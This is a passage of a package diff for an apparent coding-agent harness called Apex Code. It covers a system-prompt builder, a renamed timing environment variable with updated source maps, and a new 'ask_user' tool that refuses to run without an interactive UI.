dedupeGuidelines([\n\t\t\t...(usesShellForExploration ? [shellExplorationGuideline] : []),\n\t\t\t...contributedGuidelines,\n\t\t\t\"Be concise in your responses\",\n\t\t\t\"Show file paths clearly when working with files\",\n\t\t])\n\t\t\t.map((g) => `- ${g}`)\n\t\t\t.join(\"\\n\");\n\n\t\tconst readmePath = getReadmePath();\n\t\tconst docsPath = getDocsPath();\n\t\tconst examplesPath = getExamplesPath();\n\n\t\tprompt = `You are an expert coding assistant operating inside Apex Code, a provider-agnostic coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.\n\nAvailable tools:\n${toolsList.length > 0 ? toolsList : \"(none)\"}\n\nIn addition to the tools above, you may have access to other custom tools depending on the project.\n\nGuidelines:\n${guidelines}\n\nApex Code documentation (read only when the user asks about Apex Code itself, its SDK, extensions, themes, skills, or TUI):\n- Main documentation: ${readmePath}\n- Additional docs: ${docsPath}\n- Examples: ${examplesPath} (extensions, custom tools, SDK)\n- When reading Apex Code docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory\n- When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), pi packages (docs/packages.md), environment variables (docs/environment-variables.md)\n- When working on Apex Code topics, read the docs and examples, and follow .md cross-references before implementing\n- Always read Apex Code .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`;\n\t}\n\n\tif (appendSystemPrompt) {\n\t\tprompt += `\\n\\n${appendSystemPrompt}`;\n\t}\n\n\tif (contextFiles.length > 0) {\n\t\tprompt += \"\\n\\n<project_context>\\n\\n\";\n\t\tprompt += \"Project-specific instructions and guidelines:\\n\\n\";\n\t\tfor (const { path: filePath, content } of contextFiles) {\n\t\t\tprompt += `<project_instructions path=\"${filePath}\">\\n${content}\\n</project_instructions>\\n\\n`;\n\t\t}\n\t\tprompt += \"</project_context>\\n\";\n\t}\n\n\tif (hasRead && skills.length > 0) {\n\t\tprompt += formatSkillsForPrompt(skills, SKILL_CATALOG_PREFIX_BUDGET_TOKENS);\n\t}\n\n\tprompt += `\\nCurrent working directory: ${promptCwd}`;\n\n\treturn prompt;\n}\n"]}

package/dist/core/timings.d.ts

@@ -1,6 +1,6 @@
 /**
  * Central timing instrumentation for startup profiling.
- * Enable with PI_TIMING=1 environment variable.
+ * Enable with APEX_CODE_TIMING=1 environment variable.
  */
 type TimingLabel = "main" | "extensions";
 export declare function resetTimings(namespace?: TimingLabel): void;

package/dist/core/timings.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"timings.d.ts","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAQH,KAAK,WAAW,GAAG,MAAM,GAAG,YAAY,CAAC;AAIzC,wBAAgB,YAAY,CAAC,SAAS,GAAE,WAAoB,GAAG,IAAI,CAGlE;AAED,wBAAgB,IAAI,CAAC,KAAK,EAAE,MAAM,EAAE,SAAS,GAAE,WAAoB,GAAG,IAAI,CAWzE;AAaD,wBAAgB,YAAY,IAAI,IAAI,CAKnC","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with PI_TIMING=1 environment variable.\n */\n\nconst ENABLED = process.env.PI_TIMING === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(`  ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(`  TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n"]}
+{"version":3,"file":"timings.d.ts","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAQH,KAAK,WAAW,GAAG,MAAM,GAAG,YAAY,CAAC;AAIzC,wBAAgB,YAAY,CAAC,SAAS,GAAE,WAAoB,GAAG,IAAI,CAGlE;AAED,wBAAgB,IAAI,CAAC,KAAK,EAAE,MAAM,EAAE,SAAS,GAAE,WAAoB,GAAG,IAAI,CAWzE;AAaD,wBAAgB,YAAY,IAAI,IAAI,CAKnC","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with APEX_CODE_TIMING=1 environment variable.\n */\n\nconst ENABLED = getApexEnvironment(\"APEX_CODE_TIMING\") === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(`  ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(`  TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n\nimport { getApexEnvironment } from \"./environment.ts\";\n"]}

package/dist/core/timings.js

@@ -1,8 +1,8 @@
 /**
  * Central timing instrumentation for startup profiling.
- * Enable with PI_TIMING=1 environment variable.
+ * Enable with APEX_CODE_TIMING=1 environment variable.
  */
-const ENABLED = process.env.PI_TIMING === "1";
+const ENABLED = getApexEnvironment("APEX_CODE_TIMING") === "1";
 const timingNamespaces = new Map();
 export function resetTimings(namespace = "main") {
     if (!ENABLED)
@@ -38,4 +38,5 @@ export function printTimings() {
         printTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);
     }
 }
+import { getApexEnvironment } from "./environment.js";
 //# sourceMappingURL=timings.js.map

package/dist/core/timings.js.map

@@ -1 +1 @@
-{"version":3,"file":"timings.js","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,OAAO,GAAG,OAAO,CAAC,GAAG,CAAC,SAAS,KAAK,GAAG,CAAC;AAQ9C,MAAM,gBAAgB,GAAG,IAAI,GAAG,EAAgC,CAAC;AAEjE,MAAM,UAAU,YAAY,CAAC,SAAS,GAAgB,MAAM,EAAQ;IACnE,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,gBAAgB,CAAC,GAAG,CAAC,SAAS,EAAE,EAAE,OAAO,EAAE,EAAE,EAAE,QAAQ,EAAE,IAAI,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;AAAA,CACvE;AAED,MAAM,UAAU,IAAI,CAAC,KAAa,EAAE,SAAS,GAAgB,MAAM,EAAQ;IAC1E,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAEvB,IAAI,CAAC,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAC,EAAE,CAAC;QACtC,YAAY,CAAC,SAAS,CAAC,CAAC;IACzB,CAAC;IAED,MAAM,eAAe,GAAG,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAE,CAAC;IACzD,eAAe,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,EAAE,EAAE,GAAG,GAAG,eAAe,CAAC,QAAQ,EAAE,CAAC,CAAC;IAC5E,eAAe,CAAC,QAAQ,GAAG,GAAG,CAAC;AAAA,CAC/B;AAED,SAAS,gBAAgB,CAAC,KAAa,EAAE,OAAmC,EAAQ;IACnF,MAAM,gBAAgB,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,MAAM,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC;IACpE,IAAI,gBAAgB,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO;IAC1C,OAAO,CAAC,KAAK,CAAC,SAAS,KAAK,MAAM,CAAC,CAAC;IACpC,KAAK,MAAM,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,KAAK,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC;IAC1C,CAAC;IACD,OAAO,CAAC,KAAK,CAAC,YAAY,gBAAgB,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC;IAC9E,OAAO,CAAC,KAAK,CAAC,GAAG,GAAG,CAAC,MAAM,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;AAAA,CACnD;AAED,MAAM,UAAU,YAAY,GAAS;IACpC,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,KAAK,MAAM,CAAC,SAAS,EAAE,eAAe,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAC7D,gBAAgB,CAAC,oBAAoB,SAAS,EAAE,EAAE,eAAe,CAAC,OAAO,CAAC,CAAC;IAC5E,CAAC;AAAA,CACD","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with PI_TIMING=1 environment variable.\n */\n\nconst ENABLED = process.env.PI_TIMING === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(`  ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(`  TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n"]}
+{"version":3,"file":"timings.js","sourceRoot":"","sources":["../../src/core/timings.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,OAAO,GAAG,kBAAkB,CAAC,kBAAkB,CAAC,KAAK,GAAG,CAAC;AAQ/D,MAAM,gBAAgB,GAAG,IAAI,GAAG,EAAgC,CAAC;AAEjE,MAAM,UAAU,YAAY,CAAC,SAAS,GAAgB,MAAM,EAAQ;IACnE,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,gBAAgB,CAAC,GAAG,CAAC,SAAS,EAAE,EAAE,OAAO,EAAE,EAAE,EAAE,QAAQ,EAAE,IAAI,CAAC,GAAG,EAAE,EAAE,CAAC,CAAC;AAAA,CACvE;AAED,MAAM,UAAU,IAAI,CAAC,KAAa,EAAE,SAAS,GAAgB,MAAM,EAAQ;IAC1E,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAEvB,IAAI,CAAC,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAC,EAAE,CAAC;QACtC,YAAY,CAAC,SAAS,CAAC,CAAC;IACzB,CAAC;IAED,MAAM,eAAe,GAAG,gBAAgB,CAAC,GAAG,CAAC,SAAS,CAAE,CAAC;IACzD,eAAe,CAAC,OAAO,CAAC,IAAI,CAAC,EAAE,KAAK,EAAE,EAAE,EAAE,GAAG,GAAG,eAAe,CAAC,QAAQ,EAAE,CAAC,CAAC;IAC5E,eAAe,CAAC,QAAQ,GAAG,GAAG,CAAC;AAAA,CAC/B;AAED,SAAS,gBAAgB,CAAC,KAAa,EAAE,OAAmC,EAAQ;IACnF,MAAM,gBAAgB,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,MAAM,EAAE,EAAE,CAAC,MAAM,CAAC,EAAE,IAAI,CAAC,CAAC,CAAC;IACpE,IAAI,gBAAgB,CAAC,MAAM,KAAK,CAAC;QAAE,OAAO;IAC1C,OAAO,CAAC,KAAK,CAAC,SAAS,KAAK,MAAM,CAAC,CAAC;IACpC,KAAK,MAAM,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAClC,OAAO,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,KAAK,KAAK,CAAC,CAAC,EAAE,IAAI,CAAC,CAAC;IAC1C,CAAC;IACD,OAAO,CAAC,KAAK,CAAC,YAAY,gBAAgB,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,GAAG,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,IAAI,CAAC,CAAC;IAC9E,OAAO,CAAC,KAAK,CAAC,GAAG,GAAG,CAAC,MAAM,CAAC,KAAK,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;AAAA,CACnD;AAED,MAAM,UAAU,YAAY,GAAS;IACpC,IAAI,CAAC,OAAO;QAAE,OAAO;IACrB,KAAK,MAAM,CAAC,SAAS,EAAE,eAAe,CAAC,IAAI,gBAAgB,EAAE,CAAC;QAC7D,gBAAgB,CAAC,oBAAoB,SAAS,EAAE,EAAE,eAAe,CAAC,OAAO,CAAC,CAAC;IAC5E,CAAC;AAAA,CACD;AAED,OAAO,EAAE,kBAAkB,EAAE,MAAM,kBAAkB,CAAC","sourcesContent":["/**\n * Central timing instrumentation for startup profiling.\n * Enable with APEX_CODE_TIMING=1 environment variable.\n */\n\nconst ENABLED = getApexEnvironment(\"APEX_CODE_TIMING\") === \"1\";\ninterface TimingNamespace {\n\ttimings: Array<{ label: string; ms: number }>;\n\tlastTime: number;\n}\n\ntype TimingLabel = \"main\" | \"extensions\";\n\nconst timingNamespaces = new Map<TimingLabel, TimingNamespace>();\n\nexport function resetTimings(namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\ttimingNamespaces.set(namespace, { timings: [], lastTime: Date.now() });\n}\n\nexport function time(label: string, namespace: TimingLabel = \"main\"): void {\n\tif (!ENABLED) return;\n\tconst now = Date.now();\n\n\tif (!timingNamespaces.has(namespace)) {\n\t\tresetTimings(namespace);\n\t}\n\n\tconst timingNamespace = timingNamespaces.get(namespace)!;\n\ttimingNamespace.timings.push({ label, ms: now - timingNamespace.lastTime });\n\ttimingNamespace.lastTime = now;\n}\n\nfunction printTimingGroup(title: string, timings: TimingNamespace[\"timings\"]): void {\n\tconst printableTimings = timings.filter((timing) => timing.ms >= 0);\n\tif (printableTimings.length === 0) return;\n\tconsole.error(`\\n--- ${title} ---`);\n\tfor (const t of printableTimings) {\n\t\tconsole.error(`  ${t.label}: ${t.ms}ms`);\n\t}\n\tconsole.error(`  TOTAL: ${printableTimings.reduce((a, b) => a + b.ms, 0)}ms`);\n\tconsole.error(`${\"-\".repeat(title.length + 8)}\\n`);\n}\n\nexport function printTimings(): void {\n\tif (!ENABLED) return;\n\tfor (const [namespace, timingNamespace] of timingNamespaces) {\n\t\tprintTimingGroup(`Startup Timings: ${namespace}`, timingNamespace.timings);\n\t}\n}\n\nimport { getApexEnvironment } from \"./environment.ts\";\n"]}

package/dist/core/tools/ask-user.d.ts

@@ -0,0 +1,25 @@
+import { type Static, Type } from "typebox";
+import type { ApexToolDefinition } from "./contract.ts";
+declare const askUserSchema: Type.TObject<{
+    question: Type.TString;
+    options: Type.TArray<Type.TString>;
+}>;
+export type AskUserInput = Static<typeof askUserSchema>;
+export interface AskUserDetails {
+    question: string;
+    answer: string | undefined;
+}
+/**
+ * The `ui` capability's first implementor: a structured question presented through
+ * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless
+ * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose
+ * `select` silently resolves `undefined` -- indistinguishable from a user dismissing
+ * the question unless this checks `ctx.hasUI` first and fails closed instead.
+ */
+export declare function createAskUserToolDefinition(): ApexToolDefinition<typeof askUserSchema, AskUserDetails>;
+export declare function createAskUserTool(): import("apex-code-agent-core").AgentTool<Type.TObject<{
+    question: Type.TString;
+    options: Type.TArray<Type.TString>;
+}>, AskUserDetails>;
+export {};
+//# sourceMappingURL=ask-user.d.ts.map

package/dist/core/tools/ask-user.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"ask-user.d.ts","sourceRoot":"","sources":["../../../src/core/tools/ask-user.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAC5C,OAAO,KAAK,EAAE,kBAAkB,EAAE,MAAM,eAAe,CAAC;AAGxD,QAAA,MAAM,aAAa;;;EAGjB,CAAC;AAEH,MAAM,MAAM,YAAY,GAAG,MAAM,CAAC,OAAO,aAAa,CAAC,CAAC;AAExD,MAAM,WAAW,cAAc;IAC9B,QAAQ,EAAE,MAAM,CAAC;IACjB,MAAM,EAAE,MAAM,GAAG,SAAS,CAAC;CAC3B;AAMD;;;;;;GAMG;AACH,wBAAgB,2BAA2B,IAAI,kBAAkB,CAAC,OAAO,aAAa,EAAE,cAAc,CAAC,CAoCtG;AAED,wBAAgB,iBAAiB;;;oBAEhC","sourcesContent":["import type { AgentToolResult } from \"apex-code-agent-core\";\nimport { type Static, Type } from \"typebox\";\nimport type { ApexToolDefinition } from \"./contract.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\n\nconst askUserSchema = Type.Object({\n\tquestion: Type.String({ description: \"The question to ask the user.\" }),\n\toptions: Type.Array(Type.String(), { description: \"The choices to present to the user.\" }),\n});\n\nexport type AskUserInput = Static<typeof askUserSchema>;\n\nexport interface AskUserDetails {\n\tquestion: string;\n\tanswer: string | undefined;\n}\n\nfunction formatAnswer(answer: string | undefined): string {\n\treturn answer !== undefined ? `User selected: ${answer}` : \"User did not answer (question was dismissed).\";\n}\n\n/**\n * The `ui` capability's first implementor: a structured question presented through\n * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless\n * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose\n * `select` silently resolves `undefined` -- indistinguishable from a user dismissing\n * the question unless this checks `ctx.hasUI` first and fails closed instead.\n */\nexport function createAskUserToolDefinition(): ApexToolDefinition<typeof askUserSchema, AskUserDetails> {\n\treturn {\n\t\tname: \"ask_user\",\n\t\tlabel: \"ask_user\",\n\t\tdescription: \"Ask the user a structured question with a fixed set of options and wait for their answer.\",\n\t\tparameters: askUserSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"ui\"]),\n\t\t\tpermission: {\n\t\t\t\tdefaultBehavior: \"allow\",\n\t\t\t\tmatches: () => false,\n\t\t\t\tdescribe: () => \"Asking the user a question\",\n\t\t\t\truleForCall: () => null,\n\t\t\t},\n\t\t\tcontext: { resultRecoverable: false, deferSchema: true },\n\t\t\tevidence: { emits: new Set(), capture: () => [] },\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ question, options }: AskUserInput,\n\t\t\t_signal,\n\t\t\t_onUpdate,\n\t\t\tctx,\n\t\t): Promise<AgentToolResult<AskUserDetails>> {\n\t\t\tif (!ctx?.hasUI) {\n\t\t\t\tthrow new Error(\n\t\t\t\t\t\"ask_user requires interactive UI, which is not available in this session (headless mode).\",\n\t\t\t\t);\n\t\t\t}\n\t\t\tconst answer = await ctx.ui.select(question, options);\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: formatAnswer(answer) }],\n\t\t\t\tdetails: { question, answer },\n\t\t\t};\n\t\t},\n\t};\n}\n\nexport function createAskUserTool() {\n\treturn wrapToolDefinition(createAskUserToolDefinition());\n}\n"]}

package/dist/core/tools/ask-user.js

@@ -0,0 +1,49 @@
+import { Type } from "typebox";
+import { wrapToolDefinition } from "./tool-definition-wrapper.js";
+const askUserSchema = Type.Object({
+    question: Type.String({ description: "The question to ask the user." }),
+    options: Type.Array(Type.String(), { description: "The choices to present to the user." }),
+});
+function formatAnswer(answer) {
+    return answer !== undefined ? `User selected: ${answer}` : "User did not answer (question was dismissed).";
+}
+/**
+ * The `ui` capability's first implementor: a structured question presented through
+ * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless
+ * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose
+ * `select` silently resolves `undefined` -- indistinguishable from a user dismissing
+ * the question unless this checks `ctx.hasUI` first and fails closed instead.
+ */
+export function createAskUserToolDefinition() {
+    return {
+        name: "ask_user",
+        label: "ask_user",
+        description: "Ask the user a structured question with a fixed set of options and wait for their answer.",
+        parameters: askUserSchema,
+        contract: {
+            capabilities: new Set(["ui"]),
+            permission: {
+                defaultBehavior: "allow",
+                matches: () => false,
+                describe: () => "Asking the user a question",
+                ruleForCall: () => null,
+            },
+            context: { resultRecoverable: false, deferSchema: true },
+            evidence: { emits: new Set(), capture: () => [] },
+        },
+        async execute(_toolCallId, { question, options }, _signal, _onUpdate, ctx) {
+            if (!ctx?.hasUI) {
+                throw new Error("ask_user requires interactive UI, which is not available in this session (headless mode).");
+            }
+            const answer = await ctx.ui.select(question, options);
+            return {
+                content: [{ type: "text", text: formatAnswer(answer) }],
+                details: { question, answer },
+            };
+        },
+    };
+}
+export function createAskUserTool() {
+    return wrapToolDefinition(createAskUserToolDefinition());
+}
+//# sourceMappingURL=ask-user.js.map

package/dist/core/tools/ask-user.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"ask-user.js","sourceRoot":"","sources":["../../../src/core/tools/ask-user.ts"],"names":[],"mappings":"AACA,OAAO,EAAe,IAAI,EAAE,MAAM,SAAS,CAAC;AAE5C,OAAO,EAAE,kBAAkB,EAAE,MAAM,8BAA8B,CAAC;AAElE,MAAM,aAAa,GAAG,IAAI,CAAC,MAAM,CAAC;IACjC,QAAQ,EAAE,IAAI,CAAC,MAAM,CAAC,EAAE,WAAW,EAAE,+BAA+B,EAAE,CAAC;IACvE,OAAO,EAAE,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,EAAE,WAAW,EAAE,qCAAqC,EAAE,CAAC;CAC1F,CAAC,CAAC;AASH,SAAS,YAAY,CAAC,MAA0B,EAAU;IACzD,OAAO,MAAM,KAAK,SAAS,CAAC,CAAC,CAAC,kBAAkB,MAAM,EAAE,CAAC,CAAC,CAAC,+CAA+C,CAAC;AAAA,CAC3G;AAED;;;;;;GAMG;AACH,MAAM,UAAU,2BAA2B,GAA6D;IACvG,OAAO;QACN,IAAI,EAAE,UAAU;QAChB,KAAK,EAAE,UAAU;QACjB,WAAW,EAAE,2FAA2F;QACxG,UAAU,EAAE,aAAa;QACzB,QAAQ,EAAE;YACT,YAAY,EAAE,IAAI,GAAG,CAAC,CAAC,IAAI,CAAC,CAAC;YAC7B,UAAU,EAAE;gBACX,eAAe,EAAE,OAAO;gBACxB,OAAO,EAAE,GAAG,EAAE,CAAC,KAAK;gBACpB,QAAQ,EAAE,GAAG,EAAE,CAAC,4BAA4B;gBAC5C,WAAW,EAAE,GAAG,EAAE,CAAC,IAAI;aACvB;YACD,OAAO,EAAE,EAAE,iBAAiB,EAAE,KAAK,EAAE,WAAW,EAAE,IAAI,EAAE;YACxD,QAAQ,EAAE,EAAE,KAAK,EAAE,IAAI,GAAG,EAAE,EAAE,OAAO,EAAE,GAAG,EAAE,CAAC,EAAE,EAAE;SACjD;QACD,KAAK,CAAC,OAAO,CACZ,WAAW,EACX,EAAE,QAAQ,EAAE,OAAO,EAAgB,EACnC,OAAO,EACP,SAAS,EACT,GAAG,EACwC;YAC3C,IAAI,CAAC,GAAG,EAAE,KAAK,EAAE,CAAC;gBACjB,MAAM,IAAI,KAAK,CACd,2FAA2F,CAC3F,CAAC;YACH,CAAC;YACD,MAAM,MAAM,GAAG,MAAM,GAAG,CAAC,EAAE,CAAC,MAAM,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;YACtD,OAAO;gBACN,OAAO,EAAE,CAAC,EAAE,IAAI,EAAE,MAAM,EAAE,IAAI,EAAE,YAAY,CAAC,MAAM,CAAC,EAAE,CAAC;gBACvD,OAAO,EAAE,EAAE,QAAQ,EAAE,MAAM,EAAE;aAC7B,CAAC;QAAA,CACF;KACD,CAAC;AAAA,CACF;AAED,MAAM,UAAU,iBAAiB,GAAG;IACnC,OAAO,kBAAkB,CAAC,2BAA2B,EAAE,CAAC,CAAC;AAAA,CACzD","sourcesContent":["import type { AgentToolResult } from \"apex-code-agent-core\";\nimport { type Static, Type } from \"typebox\";\nimport type { ApexToolDefinition } from \"./contract.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\n\nconst askUserSchema = Type.Object({\n\tquestion: Type.String({ description: \"The question to ask the user.\" }),\n\toptions: Type.Array(Type.String(), { description: \"The choices to present to the user.\" }),\n});\n\nexport type AskUserInput = Static<typeof askUserSchema>;\n\nexport interface AskUserDetails {\n\tquestion: string;\n\tanswer: string | undefined;\n}\n\nfunction formatAnswer(answer: string | undefined): string {\n\treturn answer !== undefined ? `User selected: ${answer}` : \"User did not answer (question was dismissed).\";\n}\n\n/**\n * The `ui` capability's first implementor: a structured question presented through\n * the same `ctx.ui` extensions already use (`ExtensionUIContext.select`). Headless\n * sessions (`--print`, JSON, RPC without a bound UI) install a no-op `ui` whose\n * `select` silently resolves `undefined` -- indistinguishable from a user dismissing\n * the question unless this checks `ctx.hasUI` first and fails closed instead.\n */\nexport function createAskUserToolDefinition(): ApexToolDefinition<typeof askUserSchema, AskUserDetails> {\n\treturn {\n\t\tname: \"ask_user\",\n\t\tlabel: \"ask_user\",\n\t\tdescription: \"Ask the user a structured question with a fixed set of options and wait for their answer.\",\n\t\tparameters: askUserSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"ui\"]),\n\t\t\tpermission: {\n\t\t\t\tdefaultBehavior: \"allow\",\n\t\t\t\tmatches: () => false,\n\t\t\t\tdescribe: () => \"Asking the user a question\",\n\t\t\t\truleForCall: () => null,\n\t\t\t},\n\t\t\tcontext: { resultRecoverable: false, deferSchema: true },\n\t\t\tevidence: { emits: new Set(), capture: () => [] },\n\t\t},\n\t\tasync execute(\n\t\t\t_toolCallId,\n\t\t\t{ question, options }: AskUserInput,\n\t\t\t_signal,\n\t\t\t_onUpdate,\n\t\t\tctx,\n\t\t): Promise<AgentToolResult<AskUserDetails>> {\n\t\t\tif (!ctx?.hasUI) {\n\t\t\t\tthrow new Error(\n\t\t\t\t\t\"ask_user requires interactive UI, which is not available in this session (headless mode).\",\n\t\t\t\t);\n\t\t\t}\n\t\t\tconst answer = await ctx.ui.select(question, options);\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: formatAnswer(answer) }],\n\t\t\t\tdetails: { question, answer },\n\t\t\t};\n\t\t},\n\t};\n}\n\nexport function createAskUserTool() {\n\treturn wrapToolDefinition(createAskUserToolDefinition());\n}\n"]}

package/dist/core/tools/bash-command-segments.d.ts

@@ -0,0 +1,22 @@
+/**
+ * Decomposes a bash command string into the individual commands a shell would
